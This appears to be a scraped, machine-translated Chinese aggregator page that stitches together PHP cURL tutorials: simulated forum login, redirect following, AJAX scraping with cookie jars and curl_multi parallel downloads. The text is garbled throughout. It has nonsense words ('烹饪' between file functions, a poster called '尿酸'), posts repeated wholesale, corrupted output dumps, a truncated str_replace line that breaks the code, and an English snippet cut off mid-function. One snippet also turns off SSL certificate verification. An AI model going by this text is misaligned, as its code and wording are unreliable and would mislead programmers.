tempname 创建一个临时文件
tempnam() 函数创建一个具有唯一文件名的临时文件。如果成功,该函数返回新的临时文件名。失败时返回 false。
tempnam(目录,前缀)
参数说明
dir 必需。指定创建临时文件的目录。
前缀是必需的。指定文件名的开头。
相当于 fopen 烹饪 fwirte 烹饪 fclose
它可以返回一个布尔值。使用第三方登录你的QQ和msn是非常危险的,因为它可以记录你的登录状态,并窃取你的用户名和密码。
使用CURL模拟登录PHP100论坛
1、分析输入框字段名和登录所需字段个数
2、保存cookie模拟登录,获取会员金币数量
代码:
//初始化一个cURL对象 $curl = curl_init();//设置需要爬取的URL curl_setopt($curl, CURLOPT_URL, " ");//设置cURL参数保存结果到字符串或输出到屏幕。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);//运行cURL,请求网页 $data = curl_exec($curl);//关闭URL请求 curl_close($curl);$user = "admin";$pass = "admin100";$curlPost = "user=$user&pass=$pass";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, " ");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);curl_setopt ( $ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);$data = curl_exec($ch);curl_close($ch);?>if($_POST['user']= = "admin"){ echo "";}else{ echo "";}//print_r($_POST);?>
php curl抓取网页指定内容(就是一个请求中存在重定向的时候获取请求返回头信息 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 117 次浏览 • 2022-04-15 22:17
)
在使用curl抓取网页内容时,往往需要知道网页返回的请求头信息和请求的相关信息,尤其是在请求过程中有重定向获取请求返回的时候头信息对分析请求内容很有帮助
以下是请求中的重定向示例。我们的目的是获取最终实际请求的url地址
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_POST, 1);
//curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, 1);//返回response头部信息
curl_setopt($ch, CURLOPT_NOBODY, 1);//不返回response body内容
//curl_setopt($ch, CURLOPT_MAXREDIRS, 1);//设置请求最多重定向的次数
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//不直接输出response
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);//如果返回的response 头部中存在Location值,就会递归请求
$content=curl_exec($ch);
$rinfo=curl_getinfo($ch);
echo $content,"</br>";
echo "";
print_r($rinfo);
以下是输出结果 HTTP/1.1 200 OKServer: nginxDate: Sat, 22 Dec 2012 06:17:44 GMTContent-Type: application/vnd.android.package-archiveConnection: closeLast-Modified: 2012 年 12 月 3 日星期一 16:00:00 GMT 过期时间:2013 年 12 月 3 日星期二 16:00:00 GMTCache-Control: max-age=31536000Content-Length: 2142149
Array( [url] => [content_type] => application/vnd.android.package-archive [http_code] => 200 [header_size] => 289 [request_size] => 196 [filetime] => -1 [ ssl_verify_result] => 0 [redirect_count] => 0 [total_time] => 0.171621 [namelookup_time] => 0.135256 [connect_time] => 0.152913 [pretransfer_time] => < @0.152916 [size_upload] => 0 [size_download] => 0 [speed_download] => 0 [speed_upload] => 0 [download_content_length] => 2142149 [upload_content_length] => 0 [starttransfer_time] => 0.@ >171582 [redirect_time] => 0 [certinfo] => Array())
可以看到,递归请求后,最终得到了200的响应,但是这个方法无法获取到最后一个请求的url,也就是最终实际请求的url。获取这个url需要递归分析每个请求返回的响应
下面是我写的一个递归函数,用来获取最后一个请求的url
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$realUrl=getRedirectLocation($url);
echo "</br>--->",$realUrl;
function getRedirectLocation($url){
$realUrl=$url;
echo $url,"</br>";
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);//设置curl执行时间不超过3秒
//curl_setopt($ch, CURLOPT_NOBODY, 1);//这行不能要,如果添上,那么在遇到302重定向的时候就会得不到真正的请求url
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$content=curl_exec($ch);
//echo $content;
$rinfo=curl_getinfo($ch);
$matches=array();
if(preg_match('/Location:\s+?(.+?)\s+?/', $content,$matches)){
//echo $matches[1],"</br>";
unset($content);
$realUrl=getRedirectLocation($matches[1]);
}
if(isset($content)){
unset($content);
}
return $realUrl;
} 查看全部
php curl抓取网页指定内容(就是一个请求中存在重定向的时候获取请求返回头信息
)
在使用curl抓取网页内容时,往往需要知道网页返回的请求头信息和请求的相关信息,尤其是在请求过程中有重定向获取请求返回的时候头信息对分析请求内容很有帮助
以下是请求中的重定向示例。我们的目的是获取最终实际请求的url地址
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_POST, 1);
//curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, 1);//返回response头部信息
curl_setopt($ch, CURLOPT_NOBODY, 1);//不返回response body内容
//curl_setopt($ch, CURLOPT_MAXREDIRS, 1);//设置请求最多重定向的次数
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//不直接输出response
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);//如果返回的response 头部中存在Location值,就会递归请求
$content=curl_exec($ch);
$rinfo=curl_getinfo($ch);
echo $content,"</br>";
echo "";
print_r($rinfo);
以下是输出结果 HTTP/1.1 200 OKServer: nginxDate: Sat, 22 Dec 2012 06:17:44 GMTContent-Type: application/vnd.android.package-archiveConnection: closeLast-Modified: 2012 年 12 月 3 日星期一 16:00:00 GMT 过期时间:2013 年 12 月 3 日星期二 16:00:00 GMTCache-Control: max-age=31536000Content-Length: 2142149
Array( [url] => [content_type] => application/vnd.android.package-archive [http_code] => 200 [header_size] => 289 [request_size] => 196 [filetime] => -1 [ ssl_verify_result] => 0 [redirect_count] => 0 [total_time] => 0.171621 [namelookup_time] => 0.135256 [connect_time] => 0.152913 [pretransfer_time] => < @0.152916 [size_upload] => 0 [size_download] => 0 [speed_download] => 0 [speed_upload] => 0 [download_content_length] => 2142149 [upload_content_length] => 0 [starttransfer_time] => 0.@ >171582 [redirect_time] => 0 [certinfo] => Array())
可以看到,递归请求后,最终得到了200的响应,但是这个方法无法获取到最后一个请求的url,也就是最终实际请求的url。获取这个url需要递归分析每个请求返回的响应
下面是我写的一个递归函数,用来获取最后一个请求的url
$url='http://www.appchina.com/market/r/489267/com.appshare.android.ilisten.vapk?c=aplus.direct&uid=gAJ9cQEu1TlyZxsXN-aB4RaanvFL6t6Bj-vj0rIBs&p=aplus.detail&m=redirect';
$realUrl=getRedirectLocation($url);
echo "</br>--->",$realUrl;
function getRedirectLocation($url){
$realUrl=$url;
echo $url,"</br>";
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);//设置curl执行时间不超过3秒
//curl_setopt($ch, CURLOPT_NOBODY, 1);//这行不能要,如果添上,那么在遇到302重定向的时候就会得不到真正的请求url
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$content=curl_exec($ch);
//echo $content;
$rinfo=curl_getinfo($ch);
$matches=array();
if(preg_match('/Location:\s+?(.+?)\s+?/', $content,$matches)){
//echo $matches[1],"</br>";
unset($content);
$realUrl=getRedirectLocation($matches[1]);
}
if(isset($content)){
unset($content);
}
return $realUrl;
}
php curl抓取网页指定内容(詹姆斯·安德森抓掷后重定向(由JS进行的操作))
网站优化 • 优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-04-11 21:10
尿酸
我正在尝试使用此代码获取页面但没有成功。
捕获后重定向(由 JS 执行)。
$url = 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Speesipro.A';
echo getPage($url);
function getPage($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
我应该怎么做才能获得没有重定向的 URL 页面?
詹姆斯·安德森
为避免重定向,只需将这行代码添加到脚本中替换最后一行
//返回$result;
return str_replace("https://c.s-microsoft.com/en-u ... ot%3B,"",$result);
}
所以要加载的 javascript 不会将加载的页面重定向到无效的 URL。
如果有帮助,请检查并告诉我。 查看全部
php curl抓取网页指定内容(詹姆斯·安德森抓掷后重定向(由JS进行的操作))
尿酸
我正在尝试使用此代码获取页面但没有成功。
捕获后重定向(由 JS 执行)。
$url = 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Speesipro.A';
echo getPage($url);
function getPage($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
我应该怎么做才能获得没有重定向的 URL 页面?
詹姆斯·安德森
为避免重定向,只需将这行代码添加到脚本中替换最后一行
//返回$result;
return str_replace("https://c.s-microsoft.com/en-u ... ot%3B,"",$result);
}
所以要加载的 javascript 不会将加载的页面重定向到无效的 URL。
如果有帮助,请检查并告诉我。
php curl抓取网页指定内容( 怎样抓取AJAX网站的内容?只不过异步内容 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-04-09 08:35
怎样抓取AJAX网站的内容?只不过异步内容
)
使用php方法curl抓取AJAX异步内容思路分析及代码分享
更新时间:2014年8月25日11:17:48投稿:hebedich
如何抓取AJAX网站的内容?这是一个热门问题,也是一个棘手的问题。但实际上,爬取ajax异步内容页面和普通页面并没有什么区别。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
其实捕获ajax异步内容页面和普通页面的区别不大。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
使用 Firebug 的网络工具
如果页面被抓取,内容中没有显示的数据就是一堆JS代码。
代码
$cookie_file=tempnam('./temp','cookie');
$ch = curl_init();
$url1 = "http://www.cdut.edu.cn/default.html";
curl_setopt($ch,CURLOPT_URL,$url1);
curl_setopt($ch,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_ENCODING ,'gzip'); //加入gzip解析
//设置连接结束后保存cookie信息的文件
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookie_file);
$content=curl_exec($ch);
curl_close($ch);
$ch3 = curl_init();
$url3 = "http://www.cdut.edu.cn/xww/dwr ... 3B%3B
$curlPost = "callCount=1&page=/xww/type/1000020118.html&httpSessionId=12A9B726E6A2D4D3B09DE7952B2F282C&scriptSessionId=295315B4B4141B09DA888D3A3ADB8FAA658&c0-scriptName=portalAjax&c0-methodName=getNewsXml&c0-id=0&c0-param0=string:10000201&c0-param1=string:1000020118&c0-param2=string:news_&c0-param3=number:5969&c0-param4=number:1&c0-param5=null:null&c0-param6=null:null&batchId=0";
curl_setopt($ch3,CURLOPT_URL,$url3);
curl_setopt($ch3,CURLOPT_POST,1);
curl_setopt($ch3,CURLOPT_POSTFIELDS,$curlPost);
//设置连接结束后保存cookie信息的文件
curl_setopt($ch3,CURLOPT_COOKIEFILE,$cookie_file);
$content1=curl_exec($ch3);
curl_close($ch3); 查看全部
php curl抓取网页指定内容(
怎样抓取AJAX网站的内容?只不过异步内容
)
使用php方法curl抓取AJAX异步内容思路分析及代码分享
更新时间:2014年8月25日11:17:48投稿:hebedich
如何抓取AJAX网站的内容?这是一个热门问题,也是一个棘手的问题。但实际上,爬取ajax异步内容页面和普通页面并没有什么区别。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
其实捕获ajax异步内容页面和普通页面的区别不大。 Ajax只是一个异步的http请求,只要你使用firebug之类的工具,找到请求的后端服务url和value传递的参数,然后抓取url传递的参数即可。
使用 Firebug 的网络工具

如果页面被抓取,内容中没有显示的数据就是一堆JS代码。

代码
$cookie_file=tempnam('./temp','cookie');
$ch = curl_init();
$url1 = "http://www.cdut.edu.cn/default.html";
curl_setopt($ch,CURLOPT_URL,$url1);
curl_setopt($ch,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_ENCODING ,'gzip'); //加入gzip解析
//设置连接结束后保存cookie信息的文件
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookie_file);
$content=curl_exec($ch);
curl_close($ch);
$ch3 = curl_init();
$url3 = "http://www.cdut.edu.cn/xww/dwr ... 3B%3B
$curlPost = "callCount=1&page=/xww/type/1000020118.html&httpSessionId=12A9B726E6A2D4D3B09DE7952B2F282C&scriptSessionId=295315B4B4141B09DA888D3A3ADB8FAA658&c0-scriptName=portalAjax&c0-methodName=getNewsXml&c0-id=0&c0-param0=string:10000201&c0-param1=string:1000020118&c0-param2=string:news_&c0-param3=number:5969&c0-param4=number:1&c0-param5=null:null&c0-param6=null:null&batchId=0";
curl_setopt($ch3,CURLOPT_URL,$url3);
curl_setopt($ch3,CURLOPT_POST,1);
curl_setopt($ch3,CURLOPT_POSTFIELDS,$curlPost);
//设置连接结束后保存cookie信息的文件
curl_setopt($ch3,CURLOPT_COOKIEFILE,$cookie_file);
$content1=curl_exec($ch3);
curl_close($ch3);
php curl抓取网页指定内容( hebedichPHP利用Curl实现并发多线程下载文件以上就是)
网站优化 • 优采云 发表了文章 • 0 个评论 • 70 次浏览 • 2022-04-09 08:32
hebedichPHP利用Curl实现并发多线程下载文件以上就是)
PHP结合curl实现多线程爬取
更新时间:2015-07-09 11:09:13 发布者:hebedich
PHP可以使用Curl来完成各种文件传输操作,比如模拟浏览器发送GET、POST请求等。但是由于PHP语言本身不支持多线程,开发爬虫程序的效率不高,所以经常需要使用 Curl Multi Functions。实现并发多线程访问多个url地址实现并发多线程抓取网页或下载文件的功能
PHP结合curl实现多线程爬取
让我们再看几个例子
(1)下面的代码是爬取多个URL,然后将爬取到的URL的页面代码写入到指定文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
); // 设置要抓取的页面URL
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i], CURLOPT_FILE,$st); // 将爬取的代码写入文件
curl_multi_add_handle ($mh,$conn[$i]);
} // 初始化
do {
curl_multi_exec($mh,$active);
} while ($active); // 执行
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
} // 结束清理
curl_multi_close($mh);
fclose($st);
(2)下面的代码和上面类似,只不过这个地方是先把获取到的代码放到一个变量中,然后再将获取到的内容写入到指定的文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
);
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,true); // 不将爬取代码写到浏览器,而是转化为字符串
curl_multi_add_handle ($mh,$conn[$i]);
}
do {
curl_multi_exec($mh,$active);
} while ($active);
foreach ($urls as $i => $url) {
$data = curl_multi_getcontent($conn[$i]); // 获得爬取的代码字符串
fwrite($st,$data); // 将字符串写入文件
} // 获得数据变量,并写入文件
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
fclose($st);
(3)以下代码实现使用PHP的Curl Functions实现并发多线程下载文件
$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);
以上就是本文的全部内容,希望大家喜欢。 查看全部
php curl抓取网页指定内容(
hebedichPHP利用Curl实现并发多线程下载文件以上就是)
PHP结合curl实现多线程爬取
更新时间:2015-07-09 11:09:13 发布者:hebedich
PHP可以使用Curl来完成各种文件传输操作,比如模拟浏览器发送GET、POST请求等。但是由于PHP语言本身不支持多线程,开发爬虫程序的效率不高,所以经常需要使用 Curl Multi Functions。实现并发多线程访问多个url地址实现并发多线程抓取网页或下载文件的功能
PHP结合curl实现多线程爬取
让我们再看几个例子
(1)下面的代码是爬取多个URL,然后将爬取到的URL的页面代码写入到指定文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
); // 设置要抓取的页面URL
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i], CURLOPT_FILE,$st); // 将爬取的代码写入文件
curl_multi_add_handle ($mh,$conn[$i]);
} // 初始化
do {
curl_multi_exec($mh,$active);
} while ($active); // 执行
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
} // 结束清理
curl_multi_close($mh);
fclose($st);
(2)下面的代码和上面类似,只不过这个地方是先把获取到的代码放到一个变量中,然后再将获取到的内容写入到指定的文件中
$urls = array(
'https://www.jb51.net/',
'http://www.google.com/',
'http://www.example.com/'
);
$save_to='/test.txt'; // 把抓取的代码写入该文件
$st = fopen($save_to,"a");
$mh = curl_multi_init();
foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i], CURLOPT_HEADER ,0);
curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,60);
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,true); // 不将爬取代码写到浏览器,而是转化为字符串
curl_multi_add_handle ($mh,$conn[$i]);
}
do {
curl_multi_exec($mh,$active);
} while ($active);
foreach ($urls as $i => $url) {
$data = curl_multi_getcontent($conn[$i]); // 获得爬取的代码字符串
fwrite($st,$data); // 将字符串写入文件
} // 获得数据变量,并写入文件
foreach ($urls as $i => $url) {
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
fclose($st);
(3)以下代码实现使用PHP的Curl Functions实现并发多线程下载文件
$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);$urls=array(
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip',
'https://www.jb51.net/5w.zip'
);
$save_to='./home/';
$mh=curl_multi_init();
foreach($urls as $i=>$url){
$g=$save_to.basename($url);
if(!is_file($g)){
$conn[$i]=curl_init($url);
$fp[$i]=fopen($g,"w");
curl_setopt($conn[$i],CURLOPT_USERAGENT,"Mozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0)");
curl_setopt($conn[$i],CURLOPT_FILE,$fp[$i]);
curl_setopt($conn[$i],CURLOPT_HEADER ,0);
curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,60);
curl_multi_add_handle($mh,$conn[$i]);
}
}
do{
$n=curl_multi_exec($mh,$active);
}while($active);
foreach($urls as $i=>$url){
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
fclose($fp[$i]);
}
curl_multi_close($mh);
以上就是本文的全部内容,希望大家喜欢。
php curl抓取网页指定内容(怎样用PHP或者js获取网页中某个部分的值-)
网站优化 • 优采云 发表了文章 • 0 个评论 • 191 次浏览 • 2022-04-06 01:17
if ($x=strpos($str,'')) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $ str=substr($str,0,$x);//输出结果 echo $str;?>
使用 php
卷曲
preg_match_all()
这两个可以解决你的问题。最好的办法是自己检查使用情况。
PHP网页在前端显示HTML(你看到的页面),不能修改,除非你有PHP网页所在服务器的IP地址、用户名和密码,并且可以登录服务器,然后才能修改它。
在php-中写一段代码提取网页的某个部分-: //获取网页的内容 $str=file_get_contents('#39;);//删除之前的内容 if ($x=strpos($ str,'' )) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $str=substr($str,0,$x );// 输出回显 $str;?>
php 从网页中获取某段代码 - : $url="";$str=file_get_contents($url); echo $str; 如果要获取某段代码,必须使用正则。
如何使用php或者js获取网页某部分的值——:首先要确定是否需要跨域访问你的目标站点:(跨域是指你当前是否URL和你输入的源一样,因为浏览器对跨域访问有限制,所以需要考虑这一点。)如果需要跨域访问,而aaa不允许跨域访问,这个可以只能在后端完成,否则可以在前端实现。然后简单说一下实现思路,不管是后端还是前端,思路都差不多。首先你发起一个http请求访问输入网站(前端自己发起ajax请求,后端节点可以使用$http模块发起请求,
我写了一个php采集器主要是采集某个网站文字信息,但是浏览?:这是因为,一般情况下,PHP脚本只能运行30秒左右,具体来说数据与服务器的设置有关。如果您的脚本超时,则需要拆分任务对。以任务中继的形式进行。当 PHP 页面...
请PHP高手帮忙解答。我有一个 网站 可以免费发布页面: $now_time = date("Ymd H:i:s"); $now_time = strtotime($now_time); $show_time = strtotime($_SESSION['time']); $dur = $now_time - $show_time; if($dur 全部
php如何获取网页中指定div块的内容-:simple_html_dom可以通过过滤CLASS获取,但是速度慢。建议通过正则表达式来确定你想要的div块或者取。
使用php获取指定网页的内容 - :可以使用正则匹配。发送网页 URL。
php从网页文本中提取数据-:第一个:explode list($var1, $var2, $var3) = explode(",", str_replace('"', '', $content));第二个:正则preg_match("/\d{3}\:\"(.*)\,(.*)\,(.*)\"/", $content, $result); 推荐第一个
PHP爬取网页的指定内容-:这个可以直接用Lesi采集系统完成
php中想要抓取网页中某条数据的代码——: 查看全部
php curl抓取网页指定内容(怎样用PHP或者js获取网页中某个部分的值-)
if ($x=strpos($str,'')) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $ str=substr($str,0,$x);//输出结果 echo $str;?>
使用 php
卷曲
preg_match_all()
这两个可以解决你的问题。最好的办法是自己检查使用情况。
PHP网页在前端显示HTML(你看到的页面),不能修改,除非你有PHP网页所在服务器的IP地址、用户名和密码,并且可以登录服务器,然后才能修改它。
在php-中写一段代码提取网页的某个部分-: //获取网页的内容 $str=file_get_contents('#39;);//删除之前的内容 if ($x=strpos($ str,'' )) $str=substr($str,$x);//删除后的内容 if ($x=strpos($str,'')) $str=substr($str,0,$x );// 输出回显 $str;?>
php 从网页中获取某段代码 - : $url="";$str=file_get_contents($url); echo $str; 如果要获取某段代码,必须使用正则。
如何使用php或者js获取网页某部分的值——:首先要确定是否需要跨域访问你的目标站点:(跨域是指你当前是否URL和你输入的源一样,因为浏览器对跨域访问有限制,所以需要考虑这一点。)如果需要跨域访问,而aaa不允许跨域访问,这个可以只能在后端完成,否则可以在前端实现。然后简单说一下实现思路,不管是后端还是前端,思路都差不多。首先你发起一个http请求访问输入网站(前端自己发起ajax请求,后端节点可以使用$http模块发起请求,
我写了一个php采集器主要是采集某个网站文字信息,但是浏览?:这是因为,一般情况下,PHP脚本只能运行30秒左右,具体来说数据与服务器的设置有关。如果您的脚本超时,则需要拆分任务对。以任务中继的形式进行。当 PHP 页面...
请PHP高手帮忙解答。我有一个 网站 可以免费发布页面: $now_time = date("Ymd H:i:s"); $now_time = strtotime($now_time); $show_time = strtotime($_SESSION['time']); $dur = $now_time - $show_time; if($dur 全部
php如何获取网页中指定div块的内容-:simple_html_dom可以通过过滤CLASS获取,但是速度慢。建议通过正则表达式来确定你想要的div块或者取。
使用php获取指定网页的内容 - :可以使用正则匹配。发送网页 URL。
php从网页文本中提取数据-:第一个:explode list($var1, $var2, $var3) = explode(",", str_replace('"', '', $content));第二个:正则preg_match("/\d{3}\:\"(.*)\,(.*)\,(.*)\"/", $content, $result); 推荐第一个
PHP爬取网页的指定内容-:这个可以直接用Lesi采集系统完成
php中想要抓取网页中某条数据的代码——:
php curl抓取网页指定内容(-get-contents我使用file_get_contents函数)
网站优化 • 优采云 发表了文章 • 0 个评论 • 90 次浏览 • 2022-04-06 01:14
标签:phpcurlfile-get-contents
我使用 file_get_contents 函数在我的特定页面上获取和显示外部链接。
在我的本地文件中一切正常,但我的服务器不支持 file_get_contents 功能,所以我尝试使用 cURL 和下面的代码:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
echo file_get_contents_curl('http://google.com');
但它返回一个空白页。有什么问题?
4 个答案:
答案 0 :( 得分:75)
试试这个:
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
答案 1 :( 得分:10)
这应该可以工作
function curl_load($url){
curl_setopt($ch=curl_init(), CURLOPT_URL, $url);
